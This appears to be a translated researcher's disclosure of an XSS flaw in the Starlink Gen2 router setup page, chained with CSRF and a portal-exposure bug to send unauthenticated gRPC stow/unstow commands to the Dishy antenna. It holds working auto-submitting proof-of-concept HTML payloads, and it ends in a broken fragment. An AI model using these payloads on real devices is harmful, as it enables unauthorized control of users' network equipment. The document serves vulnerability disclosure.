你可以在此处查看韩文版本:
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
第二代路由器的初始强制门户页面存在跨站脚本(XSS)漏洞,攻击者可能利用该漏洞控制路由器和Dishy。

该漏洞是由于初始路由器设置页面(http://192.168.1.1/setup)对 ssid 和 password 参数的输入值过滤不足所致。
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
这个跨站脚本(XSS)漏洞可结合跨站请求伪造(CSRF)攻击利用,如上方的概念验证所示。
正常情况下,强制门户页面应仅在路由器的内部地址 192.168.1.1 上激活,但旧版路由器中存在一个 bug,使得强制门户页面意外地也可从Dishy 的内部地址 192.168.100.1 访问。
http://192.168.1.1/setup → 强制门户页面正常显示。

http://192.168.100.1/setup → 该地址同样显示强制门户页面。

(正常情况下,不应能从 Dishy 的内部地址 192.168.100.1 访问强制门户页面。)
结合这一 bug 和跨站脚本(XSS)漏洞,可以绕过浏览器的同源策略(SOP),从而同时控制路由器和 Dishy。
可以确认,在地址 http://192.168.100.1/setup 上同样存在跨站脚本(XSS)漏洞。
现在让我们看看如何利用这些漏洞来控制路由器和Dishy。

当管理员界面发出收纳命令时,会向Dishy发送以下 HTTP 请求:
(注:收纳命令可使Dishy天线折叠,便于移动或存放。)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
该请求的头部包含若干重要信息。
x-grpc-web: 1
这表明使用了 gRPC-Web 协议。
(gRPC-Web 是一种允许 Web 客户端向服务器发起 gRPC 调用的协议。)
content-type: application/grpc-web+proto
表示传输的数据使用 gRPC 协议并以 protobuf 格式编码。
请求体

Dishy 收纳请求体(十六进制)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
请求体包含 grpc-web+proto 格式的数据,很可能包含 收纳 命令的详细信息。
综合这些信息,当用户通过管理界面发出收纳命令时,该命令通过 gRPC 发送至 Dishy,使 Dishy 折叠为便携状态。
然而,观察请求可以发现,其中并没有对发送用户进行身份验证。
这意味着非管理员也能发送同样的请求,未经授权控制 Dishy。但该漏洞要求攻击者拥有本地网络的物理访问权限,因此其攻击范围相对于远程攻击较为有限。
既然如此,你可能想到可以利用同一请求的载荷发起跨站请求伪造(CSRF)攻击。
虽然这种场景是可能的,但浏览器的同源策略(SOP)会限制该攻击。
gRPC 要求特定的 content-type 头部,即 application/grpc-web+proto。
然而,同源策略(SOP)会导致浏览器在从其他源发送请求时剥离该头部。
因此,正常情况下无法从外部向 Dishy 发送 gRPC 请求。
通常情况下,同源策略(SOP)会限制 Web 浏览器从不同源发起请求。
但利用跨站脚本(XSS)漏洞,攻击者可以在受害者的 Web 浏览器内执行脚本。
通过跨站脚本(XSS)漏洞注入的脚本被视为来自同一源(即受害者当前所在的网站)执行。
因此,同源策略(SOP)会将此类脚本生成的请求识别为来自同一源,从而不适用同源策略(SOP)的限制。
因此,在需要特定 content-type 头部的跨站请求伪造(CSRF)攻击(例如 gRPC 请求)中,由于攻击脚本在受害者浏览器内运行,该请求会被识别为合法请求,并携带该特定 content-type 头部发送。
例如,通过串联 192.168.100.1 上的 bug 和跨站脚本(XSS)漏洞,攻击者可以发送恶意脚本,代理用户浏览器向路由器或 Dishy 发送 grpc 请求,从而下达命令。(攻击者可以发送多种 grpc 请求,包括 Dishy 的收纳和展开命令。)
因此,通过串联跨站脚本(XSS)漏洞和前述 bug,可以构造向 Dishy 发送 收纳 gRPC 请求的载荷如下:(结果是攻击者能够远程控制路由器或 Dishy。例如,他们可以发送 grpc 命令更改路由器设置或操纵 Dishy 的功能。)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 USD)2023.48.0 及更高版本)